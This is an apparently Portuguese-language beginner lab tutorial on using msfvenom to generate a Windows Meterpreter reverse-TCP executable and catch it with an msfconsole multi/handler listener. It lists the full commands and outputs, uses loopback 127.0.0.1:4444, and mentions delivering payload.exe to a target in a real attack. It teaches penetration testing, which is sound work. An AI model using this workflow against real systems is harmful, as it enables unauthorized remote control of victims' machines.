Gerar um Payload Independente com msfvenom

Kali LinuxBeginner
Pratique Agora

Introdução

Neste laboratório, você terá experiência prática com o msfvenom, uma instância de linha de comando do Metasploit Framework que é usada para gerar payloads. É uma combinação de duas ferramentas mais antigas, msfpayload e msfencode, fornecendo uma ferramenta única e poderosa para criar shellcode para uma ampla gama de alvos e em vários formatos.

O objetivo principal deste laboratório é guiá-lo através do processo de geração de um payload executável autônomo para Windows. Você aprenderá como selecionar um payload, configurar suas opções como o host e a porta de escuta e, finalmente, configurar um listener no msfconsole para capturar a conexão do payload. Todas as operações serão realizadas dentro do diretório ~/project.

Listar payloads disponíveis com msfvenom --list payloads

Nesta etapa, você começará explorando as capacidades do msfvenom. A primeira coisa a aprender sobre qualquer ferramenta é o que ela pode fazer. Você pode listar todos os payloads disponíveis usando a opção --list payloads. Isso lhe dará uma lista abrangente de todo o shellcode que o msfvenom pode gerar para diferentes sistemas operacionais, arquiteturas e aplicações.

Execute o seguinte comando no seu terminal para ver a lista completa de payloads:

msfvenom --list payloads

A saída será muito longa. Em um cenário do mundo real, você normalmente filtraria essa lista para encontrar um payload específico. Por exemplo, se você estiver visando uma máquina Windows, pode usar grep para procurar payloads relevantes. Vamos tentar encontrar o payload windows/meterpreter/reverse_tcp, que usaremos nas próximas etapas.

msfvenom --list payloads | grep "windows/meterpreter/reverse_tcp"

Você deverá ver uma saída semelhante a esta, confirmando que o payload existe:

    windows/meterpreter/reverse_tcp                  Windows Meterpreter (Reflective Injection), Reverse TCP Stager

Isso confirma que o msfvenom pode gerar este payload específico.

Gerar um executável Windows com msfvenom -p windows/meterpreter/reverse_tcp

Nesta etapa, você selecionará um payload específico para gerar. Com base na nossa pesquisa na etapa anterior, usaremos windows/meterpreter/reverse_tcp. Este é um payload muito comum e poderoso. Ele cria uma conexão "reversa" da máquina alvo de volta para você, e o "Meterpreter" é um shell avançado e rico em recursos que permite atividades extensivas de pós-exploração.

Para selecionar um payload no msfvenom, você usa a opção -p (ou --payload). Vamos tentar construir o comando apenas com o payload selecionado.

Execute o seguinte comando no seu terminal:

msfvenom -p windows/meterpreter/reverse_tcp

Você notará que este comando falha e produz uma mensagem de erro. Isso é esperado.

[-] No options configured yet, getting options from payload...
[-] > LHOST is a required option
Error: LHOST is a required option

A saída declara claramente que LHOST é uma opção obrigatória. Isso ocorre porque um payload TCP reverso precisa saber a qual endereço IP se conectar de volta. Na próxima etapa, forneceremos essa informação necessária.

Definir LHOST e LPORT para o payload

Nesta etapa, você fornecerá as opções necessárias para que o payload funcione corretamente. Conforme indicado pela mensagem de erro da etapa anterior, precisamos definir LHOST.

  • LHOST: Significa "Listening Host" (Host de Escuta). É o endereço IP da máquina onde você estará escutando a conexão de entrada do payload. Para este laboratório, executaremos o listener na mesma máquina, portanto, podemos usar o endereço IP de loopback, 127.0.0.1.
  • LPORT: Significa "Listening Port" (Porta de Escuta). É a porta à qual o listener será vinculado no LHOST. Você pode escolher qualquer porta não privilegiada que não esteja em uso. Uma escolha comum para isso é 4444.

Você pode definir essas opções diretamente na linha de comando. Vamos adicionar LHOST e LPORT ao nosso comando anterior:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444

Após executar este comando, você verá um grande bloco de caracteres impresso diretamente no seu terminal. Este é o shellcode bruto para o payload.

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 354 bytes
<...raw bytes will be printed here...>

Isso não é muito útil como um arquivo independente. Na próxima etapa, você aprenderá como formatar este shellcode bruto em um arquivo executável utilizável.

Especificar o formato de saída e o nome do arquivo usando -f exe e -o

Nesta etapa, você finalizará o payload especificando seu formato e salvando-o em um arquivo. Imprimir shellcode bruto no terminal não é prático para entrega. Precisamos empacotá-lo em um formato que o sistema operacional alvo possa executar.

O msfvenom fornece duas opções importantes para isso:

  • -f ou --format: Esta opção especifica o formato de saída. Como nosso alvo é o Windows, usaremos o formato exe para criar um executável padrão do Windows.
  • -o ou --out: Esta opção especifica o caminho e o nome do arquivo de saída.

Vamos combinar todas as opções que aprendemos em um único comando final. Este comando gerará um executável do Windows chamado payload.exe no seu diretório atual (~/project).

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o payload.exe

Após a conclusão do comando, você verá uma saída confirmando a criação do payload:

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
Found 1 compatible encoder
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe

Você pode verificar se o arquivo foi criado usando o comando ls -l:

ls -l payload.exe

A saída deve mostrar o arquivo recém-criado:

-rwxr-xr-x 1 labex labex 73802 May 20 10:00 payload.exe

Agora você gerou com sucesso um arquivo de payload independente.

Criar um listener no msfconsole para capturar a conexão

Nesta etapa, você configurará um listener para lidar com a conexão do payload que você acabou de criar. Um payload é inútil a menos que você tenha algo do seu lado para "capturar" a conexão reversa que ele faz. Para isso, usaremos o msfconsole, a interface principal do Metasploit Framework.

Primeiro, inicie o msfconsole. Usar o flag -q faz com que ele inicie silenciosamente sem mostrar o banner, o que é mais limpo.

msfconsole -q

Seu prompt mudará para msf6 >. Agora, você precisa configurar um handler para escutar a conexão de entrada. As configurações para o handler devem corresponder exatamente às configurações que você usou para gerar o payload.

  1. Use o módulo exploit/multi/handler. Este é um handler genérico para conexões de entrada.

    use exploit/multi/handler
  2. Defina o payload para corresponder ao que você gerou.

    set payload windows/meterpreter/reverse_tcp
  3. Defina LHOST para o mesmo endereço IP.

    set LHOST 127.0.0.1
  4. Defina LPORT para a mesma porta.

    set LPORT 4444
  5. Finalmente, execute o listener.

    run

O msfconsole exibirá agora uma mensagem indicando que o listener foi iniciado.

[*] Started reverse TCP handler on 127.0.0.1:4444

Neste ponto, o listener está ativo e esperando. Em um ataque real, você transferiria payload.exe para um alvo Windows e o executaria. Quando executado, ele se conectaria de volta a este listener, e você obteria uma sessão Meterpreter. Como não temos uma máquina Windows alvo neste laboratório, não veremos uma conexão. O objetivo aqui é aprender o processo completo de geração de um payload e configuração de seu listener correspondente.

Para sair do listener, pressione Ctrl + C. Para sair do msfconsole, digite exit e pressione Enter.

exit

Resumo

Neste laboratório, você aprendeu com sucesso os fundamentos da geração de payloads independentes usando msfvenom. Você praticou todo o fluxo de trabalho, desde a exploração de payloads disponíveis até a criação de um arquivo executável final e a configuração de um listener para lidar com sua conexão.

Agora você está familiarizado com as principais opções do msfvenom, incluindo:

  • --list payloads para ver os payloads disponíveis.
  • -p para selecionar um payload específico como windows/meterpreter/reverse_tcp.
  • LHOST e LPORT para configurar os detalhes da conexão do payload.
  • -f para definir o formato de saída (por exemplo, exe).
  • -o para salvar o payload em um arquivo.

Além disso, você aprendeu a usar o exploit/multi/handler dentro do msfconsole para criar um listener que corresponda à configuração do seu payload. Esse conhecimento forma uma base crítica para muitas tarefas de teste de penetração e pesquisa de segurança.